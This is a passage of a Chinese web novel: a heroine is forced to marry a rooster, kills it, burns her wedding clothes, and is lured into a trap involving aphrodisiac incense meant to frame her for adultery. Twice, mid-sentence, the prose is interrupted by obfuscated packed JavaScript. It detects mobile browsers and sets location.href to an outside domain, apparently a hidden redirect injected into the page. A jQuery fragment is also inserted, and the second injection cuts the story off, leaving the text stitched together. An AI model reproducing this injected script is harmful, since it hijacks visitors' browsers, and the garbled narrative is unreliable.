众人这才抬起目光看向堂内端坐着的那个男人。 这人可真是好颜色，行为举止也透露着一股大家公子的端庄，就是藏在衣裳下的那双腿——瘦伶伶，枯枝一样，因为没有力气而歪歪斜斜地倚向一边，如同死物一样。 原来金屋藏娇藏的竟是个瘫子！ 那这场婚宴岂不是更有意思？！ 众人说着那些有的没的的闲话，恨不得用平生最污秽的字眼放到这两人身上，可白栖枝却置若罔闻。 她来到堂前跪下，她怀里还抱着那只老公鸡，她的金灿灿的耳铛也在随着她的东西摇晃。 细碎的金光在老公鸡浑浊蒙着白翳的眼前不住地晃荡。恍然间，它像是真的看到了富贵窝一样，失焦的眼神渐渐凝在白栖枝白玉耳垂上的那只金耳铛，跟老烟鬼遇到了□□一样，怔怔地盯着，随即像虔诚的信徒一样张开钝化发灰的喙尖，靠近那红盖头下生辉的金质耳铛。 触碰到的刹那，这老公忽地兴奋起来，奋力扑闪着翅膀叼着、啄着，扯着，恨不能将那一大块金子吞进肚子里。 这耳铛是今儿早上新挂上去的，耳朵上的耳洞也是今儿早上新穿的。 白栖枝在外头冻了半个时辰，原是不该再流血的，可被这么一弄，伤口处又流出血来。 鲜红的血液顺着金耳铛上蜿蜒曲折的花纹流到老公鸡嘴里，就像一口□□被狠狠吸进了肺里，老公鸡顿时扑腾得更欢了，鸡爪在本就被刨得抽了丝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443554|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜服上更加卖力地倒腾，恨不能将白栖枝的血肉都刨开去啄她白花花的骨头。 有血珠子一滴滴地滚到地上。 它见了，竟跟重拾了年轻时的活力一样，竟扑扇着翅膀飞到地上，用自己浑黄的喙，跟啄米似得去啄那些血那些血吃。 大家都被它这幅浑样儿给吓到了，但吉时不可误，礼生[1]稳了稳心神开口喊道： “一拜天地——” 啄啄啄！ 白栖枝将身子掉了个个儿，朝门外头的黄天厚土叩去。 “二拜高堂——” 没有高堂。 白栖枝将身子转回，朝沈忘尘郑重地叩了一礼。 这下有新的血珠子落下，那公鸡又有新吃食了。 沈忘尘沉默不语，只是看着白栖枝朝她跪拜叩首，一切如同当年她拜师时一样，只是这次他们的关系不再是师徒，而是一种更隐秘、更禁忌、更不可说的一种伦理关系。 他们谁都没有说话。 “夫妻对拜——” “咯咯咯！！！”老公鸡被按住鸡冠，硬生生垂下它高傲的头颅与人对拜，却仍在不满地公鸡扑腾着翅膀咯咯咯地扯着脖子乱叫，像是控诉新娘子对它太过粗暴。 它说：滚开！滚开！我不要这个新娘子了！我不要这个媳妇了！ 可它到底不会说人话，只能梗着脖子乱叫。 一旁的喜婆连忙道：“哎呀，新娘子，这好歹是您今天的新郎官儿，您怎么可以这么对他呢？”说着，斜眼看向堂下坐着的林家长老们，不知所措。 七叔公缓声道：“白小姐，您好歹也是大户人家的小姐，却难道连女子要三从四德都不晓得？在拜堂时这样对你的夫君，你家里人是怎么教养你的？” 白栖枝没有反驳，她缓缓松开手。 公鸡泄愤似得一把将她的喜帕啄到地上发泄似地乱叨。 七叔公朝礼生递了个眼神，后者赶紧喊出最后一句—— “礼成！” 送入洞房呢？ 自然是没有的，人怎么能同鸡洞房？ 沈忘尘的视线一直在白栖枝脸上，他看见左眼落下一道泪痕，眼里都是恨。 随着礼生破锣似得公鸭嗓喊完，他就见着白栖枝从蒲团上直起身子，伸手朝那老公鸡的脖子上捉去，随后！ “嘎啊——” 血沫溅落，扭断了脖子的公鸡被狠狠摔在地上。它猛地一蹬腿，枯羽脱落的脖颈瞬间软垂如褪色的红绸，在地上轻轻颤了两下，死掉了。 “大胆！”堂下有长老气得摔碎了茶碗，“白栖枝，这可是与你拜堂的夫君！你个她不忠不孝不仁不义的贱妇，居然敢对自己的夫君也下死手，你……” “闭嘴。”白栖枝真的有点受够了，她转身瞥了一眼那长老，又垂头看了一眼地上尸体冰冷的死鸡，冷声道，“这只是一只鸡。难道我眼下不扭断它的脖子，它就能活得过今日么？” “你！”长老气得面色紫青，哆嗦着嘴唇说不出话。 这亲也结了，堂也拜了，白栖枝真的同他们闹够了。 辱骂声、呵斥声、嘲笑声在她背后织成一张密不透风的网。 白栖枝没兴趣与那张网纠缠，林家的主母也不需要与那张网纠缠。 她垂眸看向沈忘尘，后者神情空白了一瞬，随即对她露出如往日般温润的浅笑。 他就坐在白栖枝的阴影里，没有人能看到他们对视的眼神。 白栖枝没说话，也没有回应他这个微笑，随即转身朝后宅走去。 “欺天了！欺天了！！！” 堂前乱作一团，沈忘尘的笑意渐渐浅淡，冰冷冷地看着堂前那些所谓的林家亲戚。 “公子。”芍药上前，垂头轻声问道，“可要离开？” 沈忘尘缓缓叹了口气，闭上眼。 芍药登时明白，推来轮椅，挪动他没有知觉的下半身，将他轻扶到轮椅上，缓缓地推他离开。 122. 设计 暮色像一砚打翻的松烟墨，将淮安城外的林府后宅浸染成深浅不一的灰。 等到沈忘尘的轮椅碾过积雪时，廊下铜盆里的火焰已经窜得比人还高。 白栖枝立在火盆后，一席华贵大红喜服被热浪掀得猎猎翻飞，正在将几张信纸投入火中，最上面那张皱巴巴的、盖着林家私印的，正是捆住她与林听澜的那张婚契。 先是婚契，然后是林家给白家的欠条，最后再是她当年为借笔墨给林听澜画的那张小像。 火舌卷过信纸上工整的簪花小楷，那些记录了他们之间孽缘的字样在焦黑边缘蜷曲。 白栖枝一点点地俯视着那些信纸被火舌卷成灰白色，随即，突然开始撕扯身上朱红婚服。 先是大袖衫，然后是鞠衣、霞帔、马面裙…… 直到她身上仅剩下贴身的衣物，直到身上再无婚服可扒她才止住疯狂地动作，白栖枝才垂眸失神地在看着那盆熊熊燃烧的火——那沾了公鸡粪便的、用金线绣着百子千孙图的大袖衫在烧灼声里寸寸崩断，火光舔舐着那袭华美嫁衣的瞬间，金线刺绣的鸾凤先是被映得通红，继而蜷曲成焦黑的枯枝。丝绸在高温中发出细微的爆裂声，石榴裙摆的百褶在火舌缠绕中渐渐透明，露出织金云纹里暗藏的并蒂莲纹样。 ——“青线拴住千岁寿，红线牵来万世缘。” ——“赤金锁尽三生愿，虾须缠来一世安。” ——“鎏金纳尽三春晖，百子承开九世昌。” 白栖枝本以为烧掉有关这场婚事的一切她就可以不想起了，可随着盆中火熊熊燃烧，那些喜庆的吉利话还在白栖枝耳畔回荡，不但没有被烧灼声打断，反而越发清晰可闻，响亮到就算她捂住耳朵，它们还是会像流水一样无孔不入地流进她的耳朵。 不够！ 不够！！ 还有！ 还有！！！ 白栖枝抬脚脱去脚上绣鞋，一只一只地、如同抛弃污秽物一样将它们扔进火海。 缠枝莲纹的软缎鞋面沾了雪泥，在烈焰中发出轻微的爆响，白栖枝赤足踏在雪地上，十个脚趾冻得发紫，却将背脊挺得笔直如新竹。她还想拔取头上的簪花发饰，但那毕竟是金子，虽说真金不怕火炼，但她还是舍不得。 好好笑啊，真的好好笑啊。白栖枝想，她明明已经恨成这个样子了，却还是因为钱而有所忌惮——她当真是个好主母！她当真是个有骨气的！！ “枝枝……”看见白栖枝这幅失魂落魄的模样，沈忘尘开口想要唤回她的魂魄，可呼唤被北风绞碎在喉间，传不到那人耳畔。 猩红的火星在夜色里浮沉，火舌如同蛇信子一样不住地向上撺掇舔舐着夜空，火星子从里头迸出，溅上白栖枝散开的青丝，燎焦的发尾在暮色中扬起细碎的金芒。 直到所有东西都在这盆烈火里化为灰烬，白栖枝才像舒服了一样，脸上微微露出一抹笑：“哈——” 有白雾从她口中喷出钻入火中不见了踪影。 沈忘尘就见着她抬头，目光穿过被火光扭曲的湿衣，里缓缓向他垂眸。 白栖枝眼底都是火光，火光里藏着的都是恨。 两人四目相对，沈忘尘本以为她想对自己说什么，可白栖枝什么也没说。她收敛了神情，默默吸了吸冻得通红的鼻尖，什么都没说地离开了。 沈忘尘看着她的背影默然半晌，良久，忽地一笑，轻声道： “——疯了。” 是夜。 下了一天的雪就这样恰巧地将将止住，天上不再洒下碎琼乱玉，反而凭空露出半轮月亮来，映得一地皎洁。 虽然今天是白栖枝的大婚之日，她却换了衣裳走去书房，整理林家年节时手中各大商铺要备下的贽礼数量以及所需要的金银。 她像一个木偶一样不知疲倦地赶着手中的活计，试图让自己忙起来就不会再想起自己在堂前那副狼狈又耻辱的模样。 可偏偏有人不想遂她的愿。 “咚咚咚——” “咚咚咚！” 敲门声越发激烈，白栖枝被这声音砸得头疼，语气有些不耐烦：“进。” 雕花门被推开，冷风卷着细雪扑进书房。 来者是个眼生的小厮，身上带着一身外头风雪中的冷风味。 甫一进门，他就朝白栖枝规规矩矩地行上一礼，恭敬道：“主母，沈公子寻您。” 说完，就垂首站在那儿保持行礼的姿势站着，神情恭顺，一句废话都没有。 白栖枝倒是很满意他的态度和语气。 毕竟眼下那些林家长老还在，她这个“主母”之名虽不至于名存实亡，却也是个半被架空的角色，如今大婚之夜，她不去洞房反倒在这里算账，这小厮见了没有嘲讽、没有多嘴，反倒举手投足间都格外知趣动力，反倒成了这府内不可多得的好奴仆。 可饶是如此，白栖枝没有抬头看他，狼毫笔尖悬在“柒佰两”的“柒”字上，默默心算一番，又落下“五千五百三十七两白银”十个小字，这才开口冷声道：“不去。” “可是主母，”小厮开口，“沈公子方才在院子里受了风，此时正烧的厉害，非要小的来找您，小的也是实在没有办法。” 白栖枝：“既然他生了风寒，怎么不叫芍药来找我，而是派了你来？我记得你不是服侍在他身边的人吧？” 小厮抬头答道：“是，小的并不是沈公子身边的人，只是方才洒扫时路过梧桐院时方巧碰见芍药出来，说沈公子这次烧得厉害，她要去药坊抓药，见了我，便要我暂且前去照顾沈公子。只是沈公子一直在病中说要见您，小的安慰半晌也不见有效，甚至害得沈公子差点发病，无奈之下这才来叨扰主母您。小的……” 白栖枝抬手做了个“止”的手势，小厮立即噤声，又垂下头去，恭候白栖枝的吩咐。 白栖枝也是被他这一大长段话绕的头疼，她算完手中最后一笔，这才将将抬头，用眼风扫了眼垂在那儿的小厮，收了笔墨，又吹干账簿上的墨渍，用笔杆当做书签，一夹，这才起身披好斗篷。 临出门的时候，她还看了一眼仍站在门口的小厮，顿住步子，仔细打量着他，见他神情无异，顿了顿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像是感受到细微的动作，薄纱手帕下，沈忘尘眉眼皱了皱，抬眼，像是极力忍耐着什么，艰难地移动唇舌，发出细小的、含糊不清地吐出字眼， “什么？”白栖枝没听清，俯下身来，将手帕拿下，却正对上沈忘尘一双湿红中满是情欲的眼神。 他说：“快……跑……” 白栖枝的心瞬间冷得能淬出冰来。 门口处传来细碎的声音，紧接着有人开口： “把门锁的紧些，不能让他们出来，也不要让那催情香的味道散出来。那香烈得很，我这就去通报给七叔公，你们两个，把守在这里，无论屋里怎么闹腾都不要开门！待会儿七叔公带人来捉奸，你们要一口咬死是那小丫头自己寂寞难耐主动找上来与那人苟合，并吩咐你们在门外把守探风，记住，做戏要做真，你们一定要做出慌忙求饶的样子，不能让人见到异样！等到七叔公把那小丫头浸猪笼，整个林家就是我们这些真正林家人的天下，指定不会少了你们这些真正的林家下人的好处，都记住了么？！” “是！”